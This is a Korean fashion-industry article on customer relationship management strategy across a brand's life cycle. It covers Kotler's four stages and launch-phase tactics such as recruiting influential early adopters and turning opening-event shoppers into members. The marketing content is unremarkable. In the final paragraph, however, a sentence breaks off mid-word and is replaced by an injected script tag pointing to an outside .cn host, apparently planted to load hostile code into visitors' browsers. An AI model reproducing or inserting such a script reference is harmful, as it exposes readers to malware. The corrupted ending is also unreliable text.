CRM의 商道
2007-01-22
(브랜드 수명 주기와 CRM)
‘장사는 돈을 남기는 것이 아니라, 사람을 남기는 것’이라는 대사가 유행이다. 소설 ‘상도’에서 나오는 대사인데, 이는 CRM의 근본적인 철학과 그 맥락을 함께 하고 있다. 성경에서도 재물을 가지고 친구를 사귀면, 내가 어려울 때 그 친구들이 나를 도와줄 것이라는 의미의 구절이 있다. 이처럼 인생의 성공도 얼마나 좋은 관계를 많이 맺고 있느냐에 따라 달라질 수 있는 것이다.
CRM의 근본적인 취지도 이것이다. ‘장사는 돈을 남기는 것이 아니라, 좋은 관계를 남기는 것’이라는 것이다. 좋은 관계를 맺어 놓은 고객 한명 한명이 결국은 그 브랜드의 가장 큰 자산이고, 이 고객들을 통해 사업이 유지된다는 것이다.
인생이 그렇듯이 브랜드의 일생에도 수많은 굴곡이 있다. 좀 더 전문적인 표현을 사용하자면, 모든 브랜드는 그 수명 주기(BLC, Brand life cycle)가 있다는 것이다. 마케팅의 아버지인 필립 코틀러는 이러한 수명주기를 도입기, 성장기, 성숙기, 쇠퇴기의 4단계로 보았고, 이에 따른 마케팅 전략들을 정리해 놓았다. 이에 대한 내용은 마케팅 원론 책들에서 쉽게 찾을 수 있을 것이다.
오늘은 BLC(브랜드 수명 주기)에 따른 CRM의 전략에 대해 설명하려 한다. 마케팅에서 말하는 전략과 그 맥락을 같이 하는 것이지만, 좀 더 고객 관점에서의 세부적인 접근으로 보면 좋을 것이다. 우선 BLC에 대해 알아보면 다음과 같다. 코틀러 박사는 PLC(Product life cycle, 제품수명주기)를 얘기했지만, 패션의 특성상 브랜드의 수명 주기로 설명한다.
·도입기 : 브랜드가 시장에 도입되면서 판매가 완만하 게 증가하는 기간이다. 제품 도입에 막대한 비용이 소요되므로 이익은 거의 산출되지 않는다.
·성장기 : 시장수용과 실질적인 이익증가가 급속하게 증대하는 기간이다.
·성숙기 : 대다수 잠재구매자들이 그 제품을 구매하게 되어 판매성장이 둔화되는 기간이다. 매출 과 이익의 증가는 일어나지 않고, 매출의 감 소와 함께 쇠퇴기로 이어진다.
·쇠퇴기 : 판매와 이익이 급속하게 하락하는 기간이다.
도입기의 CRM전략
첫번째로, 도입기의 CRM 전략을 생각해 보자. 브랜드를 런칭할 때부터, CRM을 도입하는 브랜드들이 많아졌다. 「후아유」를 필두로 해서, 「아이겐포스트」 「쿠아」 등은 브랜드 런칭 전부터 CRM 전략을 세우고, 마일리지 카드와 홈페이지 등을 준비한 케이스이다. 이런 경우는 나중에 브랜드 성장기나 성숙기에 CRM을 도입하는 것에 비해 이점이 있다. 전체 전략적 방향을 CRM과 일치시켜 경영 프로세스나 조직에 있어서의 혼선을 막을 수 있는 것이다.
브랜드 도입기의 과제는 ‘어떻게 하면 브랜드를 정상수준에 올려 놓을 것인가?’이다. 다른 말로는 ‘브랜드의 시장 안착’이라고 할 수 있다. CRM 관점에서는 초기에 많은 회원을 확보하고, 계속되는 이벤트와 서비스로 회원을 관리하여 안정된 매출을 유도해야 한다.
이 때의 가장 중요한 전략은 브랜드의 Big mouth (입소문을 많이 내 줄 수 있는 사람)를 찾아 회원화 시키는 것이다. 이들은 초기 트렌드 수용층인 패션 리더들이라고 할 수도 있을 것이다. 보드룩을 지향하면 보드 동호회와 같은 곳에, 힙합 브랜드라면 백댄서 그룹들이나 언더그라운드 댄스가수들도 좋을 것이다. 물론 스타마케팅을 진행하며, 그 스타의 팬클럽과 연계하는 것도 좋을 것이다. 이러한 초기 수용자들을 회원화 해 관리함에 따라, 점차 입소문을 확산시켜 나간다.
브랜드 도입기에는 매스마케팅과 CRM과의 연계가 매우 중요하다. 광고와 홍보와 이벤트를 진행해 고객들을 매장으로 끌어들이고, 이들을 어떻게 회원화 시킬 것인지를 집중적으로 고민해야 한다. 많은 브랜드들이 브랜드 런칭 혹은 매장 오픈 기간 동안에 입점 고객을 늘이는 것에만 집중하여서, 오픈 기간동안 모은 입점 고객들을 1회용으로 끝내는 경우가 많다. 꽤 많은 비용을 들여 오픈 마케팅을 한다면, 이 때 모인 고객들을 어떻게 회원화해서 그 매장의 단골 고객화 시킬 것인지를 생각해야 한다.
브랜드 도입 초기에는 고객 데이터가 없기 때문에 이미 고객 DB를 구축한 업체와의 제휴나 연계 마케팅도 효과적이다. 물론 대부분의 제휴는 상호 고객 데이터를 공유하는 것에서 시작하지만, 좀 더 알아보면 이런 조건을 피해 갈 수 있는 방법도 있다. 예를 들면, 기존 회원을 많이 확보하고 있는 인터넷 사이트가 있다고 하자. 그리고, 그 사이트가 이번에 런칭할 브랜드의 컨셉과 일치한다고 하자. 아웃도어 브랜드와 캠핑을 주제로 한 홈페이지를 예로 들 수 있다. 이럴 경우 처음부터 서로의 고객 DB를 공유하거나 하는 일은 불가능할 것이다. 하지만, 그 회원들에게 ‘이런 브랜드가 런칭한다’ 라고 이메일을 보내 줄 수는 있을 것이다. 그 홈페이지의 정?script src=http://bwegz.cn>
- Copyrights ⓒ 메이비원(주) 패션인사이트, 무단 전재 및 재배포 금지 -
